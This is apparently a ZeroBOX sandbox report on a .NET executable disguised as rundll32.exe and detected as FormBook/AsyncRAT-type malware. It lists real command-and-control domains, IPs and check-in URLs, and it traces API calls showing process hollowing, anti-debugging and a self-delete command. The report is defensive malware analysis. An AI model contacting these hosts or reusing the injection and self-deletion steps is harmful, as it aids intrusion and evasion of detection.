popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

rundll32.exe

Generic Malware PWS AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 2, 2021, 12:12 p.m. Nov. 2, 2021, 12:14 p.m.
Size 455.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 2515726e608312c9ad0c845e53f0499c
SHA256 29e85e2310c309eb1fc9939287177b02a8b4b096c2b600b2bd47a8e1acb58f36
CRC32 D564943F
ssdeep 12288:POZb3bUJyXtX53dd/qDA52DOZ/vlm6Vaza:hm7WA5V7ia
PDB Path C:\Users\Administrator\Desktop\Client\Temp\ZqjpRvdHIw\src\obj\x86\Debug\ITypeLi.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

Name Response Post-Analysis Lookup
www.qianhaijcc.com
A 23.110.31.106
23.110.31.106
www.srofkansas.com
A 199.59.242.153
199.59.242.153
www.saint444.com
A 63.250.44.164
63.250.44.164
www.applebroog.industries
A 209.17.116.163
209.17.116.163
www.sanlifalan.com
A 104.165.34.6
104.165.34.6
www.hanenosuke.com
A 172.67.150.160
A 104.21.96.28
172.67.150.160
IP Address Status Action
104.165.34.6 Active Moloch
164.124.101.2 Active Moloch
172.67.150.160 Active Moloch
199.59.242.153 Active Moloch
209.17.116.163 Active Moloch
23.110.31.106 Active Moloch
63.250.44.164 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49171 -> 199.59.242.153:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 199.59.242.153:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 199.59.242.153:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 63.250.44.164:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 104.165.34.6:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 63.250.44.164:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 104.165.34.6:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 63.250.44.164:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 104.165.34.6:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 209.17.116.163:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 23.110.31.106:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 209.17.116.163:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 23.110.31.106:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 172.67.150.160:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 209.17.116.163:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 23.110.31.106:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 172.67.150.160:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49172 -> 172.67.150.160:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
pdb_path C:\Users\Administrator\Desktop\Client\Temp\ZqjpRvdHIw\src\obj\x86\Debug\ITypeLi.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.saint444.com/fqiq/?af-8_FRh=eXgEUzChbduGYiNOMCJq1lzrrQ1CIuaunm8NPy3G0K4s0BtpaBzDfGZEH2DMYdQWokGBQ7FM&UlSp=GVgTZXS8Kvx0RZ
suspicious_features GET method with no useragent header suspicious_request GET http://www.applebroog.industries/fqiq/?af-8_FRh=0RH9gkF4+S66YbdBg5arrRt8ci9oBvnO84hTkOxxIVwmdJGohZyCC7mOG5N6PcmeIk25yT0k&UlSp=GVgTZXS8Kvx0RZ
suspicious_features GET method with no useragent header suspicious_request GET http://www.sanlifalan.com/fqiq/?af-8_FRh=prTEVkQv/aIuaJ5tknUsCYHPcHrUQSHWro/2zNHeF4wHPtFNVSB8ZmBi9ORqDWcgPylN7lnN&UlSp=GVgTZXS8Kvx0RZ
suspicious_features GET method with no useragent header suspicious_request GET http://www.qianhaijcc.com/fqiq/?af-8_FRh=+GyJfJw7hTzGSWjLzSxzubcql+EX4XT+GbaCNiPPdvi0qO0hFgG0Ehnd2eXgZFp2PjMwiybO&UlSp=GVgTZXS8Kvx0RZ
suspicious_features GET method with no useragent header suspicious_request GET http://www.srofkansas.com/fqiq/?af-8_FRh=wFDpWBcybTtkZf6rJwxG8GxnrXCHdVwe5dpvC2P+G/35kvGl/Iz1QduPYt3eFaCRSD2mr4cI&UlSp=GVgTZXS8Kvx0RZ
suspicious_features GET method with no useragent header suspicious_request GET http://www.hanenosuke.com/fqiq/?af-8_FRh=xeMdXENerBxjIMz2FKChqf1nt0cxl+Ge/IuoWLeYNAKPizmuJVRlAC2vXkQEDiA7tI/nE2A5&UlSp=GVgTZXS8Kvx0RZ
request GET http://www.saint444.com/fqiq/?af-8_FRh=eXgEUzChbduGYiNOMCJq1lzrrQ1CIuaunm8NPy3G0K4s0BtpaBzDfGZEH2DMYdQWokGBQ7FM&UlSp=GVgTZXS8Kvx0RZ
request GET http://www.applebroog.industries/fqiq/?af-8_FRh=0RH9gkF4+S66YbdBg5arrRt8ci9oBvnO84hTkOxxIVwmdJGohZyCC7mOG5N6PcmeIk25yT0k&UlSp=GVgTZXS8Kvx0RZ
request GET http://www.sanlifalan.com/fqiq/?af-8_FRh=prTEVkQv/aIuaJ5tknUsCYHPcHrUQSHWro/2zNHeF4wHPtFNVSB8ZmBi9ORqDWcgPylN7lnN&UlSp=GVgTZXS8Kvx0RZ
request GET http://www.qianhaijcc.com/fqiq/?af-8_FRh=+GyJfJw7hTzGSWjLzSxzubcql+EX4XT+GbaCNiPPdvi0qO0hFgG0Ehnd2eXgZFp2PjMwiybO&UlSp=GVgTZXS8Kvx0RZ
request GET http://www.srofkansas.com/fqiq/?af-8_FRh=wFDpWBcybTtkZf6rJwxG8GxnrXCHdVwe5dpvC2P+G/35kvGl/Iz1QduPYt3eFaCRSD2mr4cI&UlSp=GVgTZXS8Kvx0RZ
request GET http://www.hanenosuke.com/fqiq/?af-8_FRh=xeMdXENerBxjIMz2FKChqf1nt0cxl+Ge/IuoWLeYNAKPizmuJVRlAC2vXkQEDiA7tI/nE2A5&UlSp=GVgTZXS8Kvx0RZ
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73ed2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ab0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ca0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73e02000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x737ab000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x737c1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x737c2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 262144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00490000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00490000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7365a000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70801000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70661000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fc21000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fb21000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003cd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 20480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2328
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006ed000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fb01000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fab1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2724
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2944
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c20000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\rundll32.exe
file C:\Users\test22\AppData\Local\Temp\rundll32.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2996
thread_handle: 0x000000bc
process_identifier: 2992
current_directory:
filepath: C:\Windows\SysWOW64\cmd.exe
track: 1
command_line: /c del "C:\Users\test22\AppData\Local\Temp\rundll32.exe"
filepath_r: C:\Windows\SysWOW64\cmd.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000108
1 1 0
section {u'size_of_data': u'0x00071200', u'virtual_address': u'0x00002000', u'entropy': 7.73701955764155, u'name': u'.text', u'virtual_size': u'0x0007101c'} entropy 7.73701955764 description A section with a high entropy has been found
entropy 0.995599559956 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
cmdline /c del "C:\Users\test22\AppData\Local\Temp\rundll32.exe"
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2724
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000278
1 0 0
file C:\Users\test22\AppData\Local\Temp\rundll32.exe
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELÕ¥R@à  |°Ô@@.textÌ{| `
base_address: 0x00400000
process_identifier: 2724
process_handle: 0x00000278
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2724
process_handle: 0x00000278
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELÕ¥R@à  |°Ô@@.textÌ{| `
base_address: 0x00400000
process_identifier: 2724
process_handle: 0x00000278
1 1 0
McAfee Artemis!2515726E6083
Cylance Unsafe
Sangfor Suspicious.Win32.Save.a
Cyren W32/MSIL_Agent.CHV.gen!Eldorado
Symantec Scr.Malcode!gdn30
ESET-NOD32 a variant of MSIL/Kryptik.ADHK
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
APEX Malicious
Sophos Mal/Generic-S
McAfee-GW-Edition BehavesLike.Win32.Fareit.gc
Microsoft Trojan:Win32/Sabsik.FL.B!ml
Cynet Malicious (score: 100)
Malwarebytes Malware.AI.768842557
Avast FileRepMalware
SentinelOne Static AI - Suspicious PE
MaxSecure Trojan.Malware.300983.susgen
AVG FileRepMalware
CrowdStrike win/malicious_confidence_80% (W)
Process injection Process 2328 called NtSetContextThread to modify thread in remote process 2724
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4314288
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000027c
process_identifier: 2724
1 0 0
Process injection Process 2328 resumed a thread in remote process 2724
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000027c
suspend_count: 1
process_identifier: 2724
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000144
suspend_count: 1
process_identifier: 2328
1 0 0

NtResumeThread

 thread_handle: 0x000001bc
suspend_count: 1
process_identifier: 2328
1 0 0

NtResumeThread

 thread_handle: 0x000001f8
suspend_count: 1
process_identifier: 2328
1 0 0

CreateProcessInternalW

 thread_identifier: 2728
thread_handle: 0x0000027c
process_identifier: 2724
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\rundll32.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\rundll32.exe
stack_pivoted: 0
creation_flags: 134742020 (CREATE_NO_WINDOW|CREATE_SUSPENDED|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000278
1 1 0

NtGetContextThread

 thread_handle: 0x0000027c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2724
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000278
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELÕ¥R@à  |°Ô@@.textÌ{| `
base_address: 0x00400000
process_identifier: 2724
process_handle: 0x00000278
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2724
process_handle: 0x00000278
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2724
process_handle: 0x00000278
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4314288
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000027c
process_identifier: 2724
1 0 0

NtResumeThread

 thread_handle: 0x0000027c
suspend_count: 1
process_identifier: 2724
1 0 0

CreateProcessInternalW

 thread_identifier: 2948
thread_handle: 0x000000d4
process_identifier: 2944
current_directory:
filepath: C:\Windows\SysWOW64\chkdsk.exe
track: 1
command_line:
filepath_r: C:\Windows\SysWOW64\chkdsk.exe
stack_pivoted: 0
creation_flags: 134217740 (CREATE_NO_WINDOW|CREATE_SUSPENDED|DETACHED_PROCESS)
inherit_handles: 0
process_handle: 0x0000012c
1 1 0

CreateProcessInternalW

 thread_identifier: 2996
thread_handle: 0x000000bc
process_identifier: 2992
current_directory:
filepath: C:\Windows\SysWOW64\cmd.exe
track: 1
command_line: /c del "C:\Users\test22\AppData\Local\Temp\rundll32.exe"
filepath_r: C:\Windows\SysWOW64\cmd.exe
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000108
1 1 0